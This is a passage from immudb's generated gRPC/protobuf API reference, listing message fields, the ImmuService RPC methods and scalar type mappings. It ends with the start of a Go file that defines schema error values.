reading data during replication | | waitForIndexing | [NullableBool](#immudb.schema.NullableBool) | | Wait for indexing to be up to date during replication | ### RetryInfo | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | retry_delay | [int32](#int32) | | Number of milliseconds after which the request can be retried | ### Row | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | columns | [string](#string) | repeated | Column names | | values | [SQLValue](#immudb.schema.SQLValue) | repeated | Column values | ### SQLEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [uint64](#uint64) | | Id of the transaction when the row was added / modified | | key | [bytes](#bytes) | | Raw key of the row | | value | [bytes](#bytes) | | Raw value of the row | | metadata | [KVMetadata](#immudb.schema.KVMetadata) | | Metadata of the raw value | ### SQLExecRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sql | [string](#string) | | SQL query | | params | [NamedParam](#immudb.schema.NamedParam) | repeated | Named query parameters | | noWait | [bool](#bool) | | If true, do not wait for the indexer to index written changes | ### SQLExecResult | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | txs | [CommittedSQLTx](#immudb.schema.CommittedSQLTx) | repeated | List of committed transactions as a result of the exec operation | | ongoingTx | [bool](#bool) | | If true, there's an ongoing transaction after exec completes | ### SQLGetRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | table | [string](#string) | | Table name | | pkValues | [SQLValue](#immudb.schema.SQLValue) | repeated | Values of the primary key | | atTx | [uint64](#uint64) | | Id of the transaction at which the row was added / modified | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed | ### SQLPrivilege | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | | privilege | [string](#string) | | Privilege: SELECT, CREATE, INSERT, UPDATE, DELETE, DROP, ALTER | ### SQLQueryRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sql | [string](#string) | | SQL query | | params | [NamedParam](#immudb.schema.NamedParam) | repeated | Named query parameters | | reuseSnapshot | [bool](#bool) | | **Deprecated.** If true, reuse previously opened snapshot | | acceptStream | [bool](#bool) | | Wheter the client accepts a streaming response | ### SQLQueryResult | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | columns | [Column](#immudb.schema.Column) | repeated | Result columns description | | rows | [Row](#immudb.schema.Row) | repeated | Result rows | ### SQLValue | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | null | [google.protobuf.NullValue](#google.protobuf.NullValue) | | | | n | [int64](#int64) | | | | s | [string](#string) | | | | b | [bool](#bool) | | | | bs | [bytes](#bytes) | | | | ts | [int64](#int64) | | | | f | [double](#double) | | | ### ScanRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | seekKey | [bytes](#bytes) | | If not empty, continue scan at (when inclusiveSeek == true) or after (when inclusiveSeek == false) that key | | endKey | [bytes](#bytes) | | stop at (when inclusiveEnd == true) or before (when inclusiveEnd == false) that key | | prefix | [bytes](#bytes) | | search for entries with this prefix only | | desc | [bool](#bool) | | If set to true, sort items in descending order | | limit | [uint64](#uint64) | | maximum number of entries to get, if not specified, the default value is used | | sinceTx | [uint64](#uint64) | | If non-zero, only require transactions up to this transaction to be indexed, newer transaction may still be pending | | noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for indexing to be done before finishing this call | | inclusiveSeek | [bool](#bool) | | If set to true, results will include seekKey | | inclusiveEnd | [bool](#bool) | | If set to true, results will include endKey if needed | | offset | [uint64](#uint64) | | Specify the initial entry to be returned by excluding the initial set of entries | ### Score | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | score | [double](#double) | | Entry's score value | ### ServerInfoRequest ServerInfoRequest exists to provide extensibility for rpc ServerInfo. ### ServerInfoResponse ServerInfoResponse contains information about the server instance. | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | version | [string](#string) | | The version of the server instance. | | startedAt | [int64](#int64) | | Unix timestamp (seconds) indicating when the server process has been started. | | numTransactions | [int64](#int64) | | Total number of transactions across all databases. | | numDatabases | [int32](#int32) | | Total number of databases present. | | databasesDiskSize | [int64](#int64) | | Total disk size used by all databases. | ### SetActiveUserRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | active | [bool](#bool) | | If true, the user is active | | username | [string](#string) | | Name of the user to activate / deactivate | ### SetRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | KVs | [KeyValue](#immudb.schema.KeyValue) | repeated | List of KV entries to set | | noWait | [bool](#bool) | | If set to true, do not wait for indexer to index ne entries | | preconditions | [Precondition](#immudb.schema.Precondition) | repeated | Preconditions to be met to perform the write | ### Signature | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | publicKey | [bytes](#bytes) | | | | signature | [bytes](#bytes) | | | ### Table | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tableName | [string](#string) | | Table name | ### TruncateDatabaseRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | | retentionPeriod | [int64](#int64) | | Retention Period of data | ### TruncateDatabaseResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | ### TruncationNullableSettings | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | retentionPeriod | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Retention Period for data in the database | | truncationFrequency | [NullableMilliseconds](#immudb.schema.NullableMilliseconds) | | Truncation Frequency for the database | ### Tx | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | header | [TxHeader](#immudb.schema.TxHeader) | | Transaction header | | entries | [TxEntry](#immudb.schema.TxEntry) | repeated | Raw entry values | | kvEntries | [Entry](#immudb.schema.Entry) | repeated | KV entries in the transaction (parsed) | | zEntries | [ZEntry](#immudb.schema.ZEntry) | repeated | Sorted Set entries in the transaction (parsed) | ### TxEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [bytes](#bytes) | | Raw key value (contains 1-byte prefix for kind of the key) | | hValue | [bytes](#bytes) | | Value hash | | vLen | [int32](#int32) | | Value length | | metadata | [KVMetadata](#immudb.schema.KVMetadata) | | Entry metadata | | value | [bytes](#bytes) | | value, must be ignored when len(value) == 0 and vLen > 0. Otherwise sha256(value) must be equal to hValue. | ### TxHeader | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | id | [uint64](#uint64) | | Transaction ID | | prevAlh | [bytes](#bytes) | | State value (Accumulative Hash - Alh) of the previous transaction | | ts | [int64](#int64) | | Unix timestamp of the transaction (in seconds) | | nentries | [int32](#int32) | | Number of entries in a transaction | | eH | [bytes](#bytes) | | Entries Hash - cumulative hash of all entries in the transaction | | blTxId | [uint64](#uint64) | | Binary linking tree transaction ID (ID of last transaction already in the main Merkle Tree) | | blRoot | [bytes](#bytes) | | Binary linking tree root (Root hash of the Merkle Tree) | | version | [int32](#int32) | | Header version | | metadata | [TxMetadata](#immudb.schema.TxMetadata) | | Transaction metadata | ### TxList | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | txs | [Tx](#immudb.schema.Tx) | repeated | List of transactions | ### TxMetadata TxMetadata contains metadata set to whole transaction | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | truncatedTxID | [uint64](#uint64) | | Entry expiration information | | extra | [bytes](#bytes) | | Extra data | ### TxRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [uint64](#uint64) | | Transaction id to query for | | entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) | | Specification for parsing entries, if empty, entries are returned in raw form | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references | | noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | | keepReferencesUnresolved | [bool](#bool) | | If set to true, do not resolve references (avoid looking up final values if not needed) | ### TxScanRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | initialTx | [uint64](#uint64) | | ID of the transaction where scanning should start | | limit | [uint32](#uint32) | | Maximum number of transactions to scan, when not specified the default limit is used | | desc | [bool](#bool) | | If set to true, scan transactions in descending order | | entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) | | Specification of how to parse entries | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references | | noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | ### UnloadDatabaseRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | ### UnloadDatabaseResponse | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | ### UpdateDatabaseRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | | settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Updated settings | ### UpdateDatabaseResponse Reserved to reply with more advanced response later | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | database | [string](#string) | | Database name | | settings | [DatabaseNullableSettings](#immudb.schema.DatabaseNullableSettings) | | Current database settings | ### UseDatabaseReply | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | token | [string](#string) | | Deprecated: database access token | ### UseSnapshotRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sinceTx | [uint64](#uint64) | | | | asBeforeTx | [uint64](#uint64) | | | ### User | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | user | [bytes](#bytes) | | Username | | permissions | [Permission](#immudb.schema.Permission) | repeated | List of permissions for the user | | createdby | [string](#string) | | Name of the creator user | | createdat | [string](#string) | | Time when the user was created | | active | [bool](#bool) | | Flag indicating whether the user is active or not | | sqlPrivileges | [SQLPrivilege](#immudb.schema.SQLPrivilege) | repeated | List of SQL privileges | ### UserList | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | users | [User](#immudb.schema.User) | repeated | List of users | ### UserRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | user | [bytes](#bytes) | | Username | ### VerifiableEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | entry | [Entry](#immudb.schema.Entry) | | Entry to verify | | verifiableTx | [VerifiableTx](#immudb.schema.VerifiableTx) | | Transaction to verify | | inclusionProof | [InclusionProof](#immudb.schema.InclusionProof) | | Proof for inclusion of the entry within the transaction | ### VerifiableGetRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | keyRequest | [KeyRequest](#immudb.schema.KeyRequest) | | Key to read | | proveSinceTx | [uint64](#uint64) | | When generating the proof, generate consistency proof with state from this transaction | ### VerifiableReferenceRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | referenceRequest | [ReferenceRequest](#immudb.schema.ReferenceRequest) | | Reference data | | proveSinceTx | [uint64](#uint64) | | When generating the proof, generate consistency proof with state from this transaction | ### VerifiableSQLEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sqlEntry | [SQLEntry](#immudb.schema.SQLEntry) | | Raw row entry data | | verifiableTx | [VerifiableTx](#immudb.schema.VerifiableTx) | | Verifiable transaction of the row | | inclusionProof | [InclusionProof](#immudb.schema.InclusionProof) | | Inclusion proof of the row in the transaction | | DatabaseId | [uint32](#uint32) | | Internal ID of the database (used to validate raw entry values) | | TableId | [uint32](#uint32) | | Internal ID of the table (used to validate raw entry values) | | PKIDs | [uint32](#uint32) | repeated | Internal IDs of columns for the primary key (used to validate raw entry values) | | ColNamesById | [VerifiableSQLEntry.ColNamesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry) | repeated | Mapping of used column IDs to their names | | ColIdsByName | [VerifiableSQLEntry.ColIdsByNameEntry](#immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry) | repeated | Mapping of column names to their IDS | | ColTypesById | [VerifiableSQLEntry.ColTypesByIdEntry](#immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry) | repeated | Mapping of column IDs to their types | | ColLenById | [VerifiableSQLEntry.ColLenByIdEntry](#immudb.schema.VerifiableSQLEntry.ColLenByIdEntry) | repeated | Mapping of column IDs to their length constraints | | MaxColId | [uint32](#uint32) | | Variable is used to assign unique ids to new columns as they are created | ### VerifiableSQLEntry.ColIdsByNameEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [string](#string) | | | | value | [uint32](#uint32) | | | ### VerifiableSQLEntry.ColLenByIdEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [uint32](#uint32) | | | | value | [int32](#int32) | | | ### VerifiableSQLEntry.ColNamesByIdEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [uint32](#uint32) | | | | value | [string](#string) | | | ### VerifiableSQLEntry.ColTypesByIdEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | key | [uint32](#uint32) | | | | value | [string](#string) | | | ### VerifiableSQLGetRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | sqlGetRequest | [SQLGetRequest](#immudb.schema.SQLGetRequest) | | Data of row to query | | proveSinceTx | [uint64](#uint64) | | When generating the proof, generate consistency proof with state from this transaction | ### VerifiableSetRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | setRequest | [SetRequest](#immudb.schema.SetRequest) | | Keys to set | | proveSinceTx | [uint64](#uint64) | | When generating the proof, generate consistency proof with state from this transaction | ### VerifiableTx | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [Tx](#immudb.schema.Tx) | | Transaction to verify | | dualProof | [DualProof](#immudb.schema.DualProof) | | Proof for the transaction | | signature | [Signature](#immudb.schema.Signature) | | Signature for the new state value | ### VerifiableTxRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [uint64](#uint64) | | Transaction ID | | proveSinceTx | [uint64](#uint64) | | When generating the proof, generate consistency proof with state from this transaction | | entriesSpec | [EntriesSpec](#immudb.schema.EntriesSpec) | | Specification of how to parse entries | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed, will affect resolving references | | noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | | keepReferencesUnresolved | [bool](#bool) | | If set to true, do not resolve references (avoid looking up final values if not needed) | ### VerifiableTxV2 | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | tx | [Tx](#immudb.schema.Tx) | | Transaction to verify | | dualProof | [DualProofV2](#immudb.schema.DualProofV2) | | Proof for the transaction | | signature | [Signature](#immudb.schema.Signature) | | Signature for the new state value | ### VerifiableZAddRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | zAddRequest | [ZAddRequest](#immudb.schema.ZAddRequest) | | Data for new sorted set entry | | proveSinceTx | [uint64](#uint64) | | When generating the proof, generate consistency proof with state from this transaction | ### ZAddRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | set | [bytes](#bytes) | | Name of the sorted set | | score | [double](#double) | | Score of the new entry | | key | [bytes](#bytes) | | Referenced key | | atTx | [uint64](#uint64) | | If boundRef == true, id of the transaction to bind with the reference | | boundRef | [bool](#bool) | | If true, bind the reference to particular transaction, if false, use the most recent value of the key | | noWait | [bool](#bool) | | If true, do not wait for the indexer to index this write operation | ### ZEntries | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | entries | [ZEntry](#immudb.schema.ZEntry) | repeated | | ### ZEntry | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | set | [bytes](#bytes) | | Name of the sorted set | | key | [bytes](#bytes) | | Referenced key | | entry | [Entry](#immudb.schema.Entry) | | Referenced entry | | score | [double](#double) | | Sorted set element's score | | atTx | [uint64](#uint64) | | At which transaction the key is bound, 0 if reference is not bound and should read the most recent reference | ### ZScanRequest | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | set | [bytes](#bytes) | | Name of the sorted set | | seekKey | [bytes](#bytes) | | Key to continue the search at | | seekScore | [double](#double) | | Score of the entry to continue the search at | | seekAtTx | [uint64](#uint64) | | AtTx of the entry to continue the search at | | inclusiveSeek | [bool](#bool) | | If true, include the entry given with the `seekXXX` attributes, if false, skip the entry and start after that one | | limit | [uint64](#uint64) | | Maximum number of entries to return, if 0, the default limit will be used | | desc | [bool](#bool) | | If true, scan entries in descending order | | minScore | [Score](#immudb.schema.Score) | | Minimum score of entries to scan | | maxScore | [Score](#immudb.schema.Score) | | Maximum score of entries to scan | | sinceTx | [uint64](#uint64) | | If > 0, do not wait for the indexer to index all entries, only require entries up to sinceTx to be indexed | | noWait | [bool](#bool) | | Deprecated: If set to true, do not wait for the indexer to be up to date | | offset | [uint64](#uint64) | | Specify the index of initial entry to be returned by excluding the initial set of entries (alternative to seekXXX attributes) | ### EntryTypeAction | Name | Number | Description | | ---- | ------ | ----------- | | EXCLUDE | 0 | Exclude entries from the result | | ONLY_DIGEST | 1 | Provide keys in raw (unparsed) form and only the digest of the value | | RAW_VALUE | 2 | Provide keys and values in raw form | | RESOLVE | 3 | Provide parsed keys and values and resolve values if needed | ### PermissionAction | Name | Number | Description | | ---- | ------ | ----------- | | GRANT | 0 | Grant permission | | REVOKE | 1 | Revoke permission | ### TxMode | Name | Number | Description | | ---- | ------ | ----------- | | ReadOnly | 0 | Read-only transaction | | WriteOnly | 1 | Write-only transaction | | ReadWrite | 2 | Read-write transaction | ### ImmuService immudb gRPC & REST service | Method Name | Request Type | Response Type | Description | | ----------- | ------------ | ------------- | ------------| | ListUsers | [.google.protobuf.Empty](#google.protobuf.Empty) | [UserList](#immudb.schema.UserList) | | | CreateUser | [CreateUserRequest](#immudb.schema.CreateUserRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | ChangePassword | [ChangePasswordRequest](#immudb.schema.ChangePasswordRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | ChangePermission | [ChangePermissionRequest](#immudb.schema.ChangePermissionRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | ChangeSQLPrivileges | [ChangeSQLPrivilegesRequest](#immudb.schema.ChangeSQLPrivilegesRequest) | [ChangeSQLPrivilegesResponse](#immudb.schema.ChangeSQLPrivilegesResponse) | | | SetActiveUser | [SetActiveUserRequest](#immudb.schema.SetActiveUserRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | UpdateAuthConfig | [AuthConfig](#immudb.schema.AuthConfig) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | UpdateMTLSConfig | [MTLSConfig](#immudb.schema.MTLSConfig) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | OpenSession | [OpenSessionRequest](#immudb.schema.OpenSessionRequest) | [OpenSessionResponse](#immudb.schema.OpenSessionResponse) | | | CloseSession | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | KeepAlive | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | NewTx | [NewTxRequest](#immudb.schema.NewTxRequest) | [NewTxResponse](#immudb.schema.NewTxResponse) | | | Commit | [.google.protobuf.Empty](#google.protobuf.Empty) | [CommittedSQLTx](#immudb.schema.CommittedSQLTx) | | | Rollback | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | TxSQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | TxSQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) stream | | | Login | [LoginRequest](#immudb.schema.LoginRequest) | [LoginResponse](#immudb.schema.LoginResponse) | | | Logout | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | Set | [SetRequest](#immudb.schema.SetRequest) | [TxHeader](#immudb.schema.TxHeader) | | | VerifiableSet | [VerifiableSetRequest](#immudb.schema.VerifiableSetRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) | | | Get | [KeyRequest](#immudb.schema.KeyRequest) | [Entry](#immudb.schema.Entry) | | | VerifiableGet | [VerifiableGetRequest](#immudb.schema.VerifiableGetRequest) | [VerifiableEntry](#immudb.schema.VerifiableEntry) | | | Delete | [DeleteKeysRequest](#immudb.schema.DeleteKeysRequest) | [TxHeader](#immudb.schema.TxHeader) | | | GetAll | [KeyListRequest](#immudb.schema.KeyListRequest) | [Entries](#immudb.schema.Entries) | | | ExecAll | [ExecAllRequest](#immudb.schema.ExecAllRequest) | [TxHeader](#immudb.schema.TxHeader) | | | Scan | [ScanRequest](#immudb.schema.ScanRequest) | [Entries](#immudb.schema.Entries) | | | Count | [KeyPrefix](#immudb.schema.KeyPrefix) | [EntryCount](#immudb.schema.EntryCount) | NOT YET SUPPORTED | | CountAll | [.google.protobuf.Empty](#google.protobuf.Empty) | [EntryCount](#immudb.schema.EntryCount) | NOT YET SUPPORTED | | TxById | [TxRequest](#immudb.schema.TxRequest) | [Tx](#immudb.schema.Tx) | | | VerifiableTxById | [VerifiableTxRequest](#immudb.schema.VerifiableTxRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) | | | TxScan | [TxScanRequest](#immudb.schema.TxScanRequest) | [TxList](#immudb.schema.TxList) | | | History | [HistoryRequest](#immudb.schema.HistoryRequest) | [Entries](#immudb.schema.Entries) | | | ServerInfo | [ServerInfoRequest](#immudb.schema.ServerInfoRequest) | [ServerInfoResponse](#immudb.schema.ServerInfoResponse) | ServerInfo returns information about the server instance. ServerInfoRequest is defined for future extensions. | | Health | [.google.protobuf.Empty](#google.protobuf.Empty) | [HealthResponse](#immudb.schema.HealthResponse) | DEPRECATED: Use ServerInfo | | DatabaseHealth | [.google.protobuf.Empty](#google.protobuf.Empty) | [DatabaseHealthResponse](#immudb.schema.DatabaseHealthResponse) | | | CurrentState | [.google.protobuf.Empty](#google.protobuf.Empty) | [ImmutableState](#immudb.schema.ImmutableState) | | | SetReference | [ReferenceRequest](#immudb.schema.ReferenceRequest) | [TxHeader](#immudb.schema.TxHeader) | | | VerifiableSetReference | [VerifiableReferenceRequest](#immudb.schema.VerifiableReferenceRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) | | | ZAdd | [ZAddRequest](#immudb.schema.ZAddRequest) | [TxHeader](#immudb.schema.TxHeader) | | | VerifiableZAdd | [VerifiableZAddRequest](#immudb.schema.VerifiableZAddRequest) | [VerifiableTx](#immudb.schema.VerifiableTx) | | | ZScan | [ZScanRequest](#immudb.schema.ZScanRequest) | [ZEntries](#immudb.schema.ZEntries) | | | CreateDatabase | [Database](#immudb.schema.Database) | [.google.protobuf.Empty](#google.protobuf.Empty) | DEPRECATED: Use CreateDatabaseV2 | | CreateDatabaseWith | [DatabaseSettings](#immudb.schema.DatabaseSettings) | [.google.protobuf.Empty](#google.protobuf.Empty) | DEPRECATED: Use CreateDatabaseV2 | | CreateDatabaseV2 | [CreateDatabaseRequest](#immudb.schema.CreateDatabaseRequest) | [CreateDatabaseResponse](#immudb.schema.CreateDatabaseResponse) | | | LoadDatabase | [LoadDatabaseRequest](#immudb.schema.LoadDatabaseRequest) | [LoadDatabaseResponse](#immudb.schema.LoadDatabaseResponse) | | | UnloadDatabase | [UnloadDatabaseRequest](#immudb.schema.UnloadDatabaseRequest) | [UnloadDatabaseResponse](#immudb.schema.UnloadDatabaseResponse) | | | DeleteDatabase | [DeleteDatabaseRequest](#immudb.schema.DeleteDatabaseRequest) | [DeleteDatabaseResponse](#immudb.schema.DeleteDatabaseResponse) | | | DatabaseList | [.google.protobuf.Empty](#google.protobuf.Empty) | [DatabaseListResponse](#immudb.schema.DatabaseListResponse) | DEPRECATED: Use DatabaseListV2 | | DatabaseListV2 | [DatabaseListRequestV2](#immudb.schema.DatabaseListRequestV2) | [DatabaseListResponseV2](#immudb.schema.DatabaseListResponseV2) | | | UseDatabase | [Database](#immudb.schema.Database) | [UseDatabaseReply](#immudb.schema.UseDatabaseReply) | | | UpdateDatabase | [DatabaseSettings](#immudb.schema.DatabaseSettings) | [.google.protobuf.Empty](#google.protobuf.Empty) | DEPRECATED: Use UpdateDatabaseV2 | | UpdateDatabaseV2 | [UpdateDatabaseRequest](#immudb.schema.UpdateDatabaseRequest) | [UpdateDatabaseResponse](#immudb.schema.UpdateDatabaseResponse) | | | GetDatabaseSettings | [.google.protobuf.Empty](#google.protobuf.Empty) | [DatabaseSettings](#immudb.schema.DatabaseSettings) | DEPRECATED: Use GetDatabaseSettingsV2 | | GetDatabaseSettingsV2 | [DatabaseSettingsRequest](#immudb.schema.DatabaseSettingsRequest) | [DatabaseSettingsResponse](#immudb.schema.DatabaseSettingsResponse) | | | FlushIndex | [FlushIndexRequest](#immudb.schema.FlushIndexRequest) | [FlushIndexResponse](#immudb.schema.FlushIndexResponse) | | | CompactIndex | [.google.protobuf.Empty](#google.protobuf.Empty) | [.google.protobuf.Empty](#google.protobuf.Empty) | | | streamGet | [KeyRequest](#immudb.schema.KeyRequest) | [Chunk](#immudb.schema.Chunk) stream | Streams | | streamSet | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) | | | streamVerifiableGet | [VerifiableGetRequest](#immudb.schema.VerifiableGetRequest) | [Chunk](#immudb.schema.Chunk) stream | | | streamVerifiableSet | [Chunk](#immudb.schema.Chunk) stream | [VerifiableTx](#immudb.schema.VerifiableTx) | | | streamScan | [ScanRequest](#immudb.schema.ScanRequest) | [Chunk](#immudb.schema.Chunk) stream | | | streamZScan | [ZScanRequest](#immudb.schema.ZScanRequest) | [Chunk](#immudb.schema.Chunk) stream | | | streamHistory | [HistoryRequest](#immudb.schema.HistoryRequest) | [Chunk](#immudb.schema.Chunk) stream | | | streamExecAll | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) | | | exportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) | [Chunk](#immudb.schema.Chunk) stream | Replication | | replicateTx | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) | | | streamExportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) stream | [Chunk](#immudb.schema.Chunk) stream | | | SQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [SQLExecResult](#immudb.schema.SQLExecResult) | | | UnarySQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | For backward compatibility with the grpc-gateway API | | SQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) stream | | | ListTables | [.google.protobuf.Empty](#google.protobuf.Empty) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | DescribeTable | [Table](#immudb.schema.Table) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | VerifiableSQLGet | [VerifiableSQLGetRequest](#immudb.schema.VerifiableSQLGetRequest) | [VerifiableSQLEntry](#immudb.schema.VerifiableSQLEntry) | | | TruncateDatabase | [TruncateDatabaseRequest](#immudb.schema.TruncateDatabaseRequest) | [TruncateDatabaseResponse](#immudb.schema.TruncateDatabaseResponse) | | ## Scalar Value Types | .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | | ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | | double | | double | double | float | float64 | double | float | Float | | float | | float | float | float | float32 | float | float | Float | | int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | | int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | | uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | | uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | | sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | | sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | | fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | | fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | | sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | | sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | | bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | | string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | | bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | ================================================ FILE: pkg/api/schema/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package schema import ( "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) var ( ErrEmptySet = status.New(codes.InvalidArgument, "empty set").Err() ErrDuplicatedKeysNotSupported = status.New(codes.InvalidArgument, "duplicated keys are not supported in single batch transaction").Err() 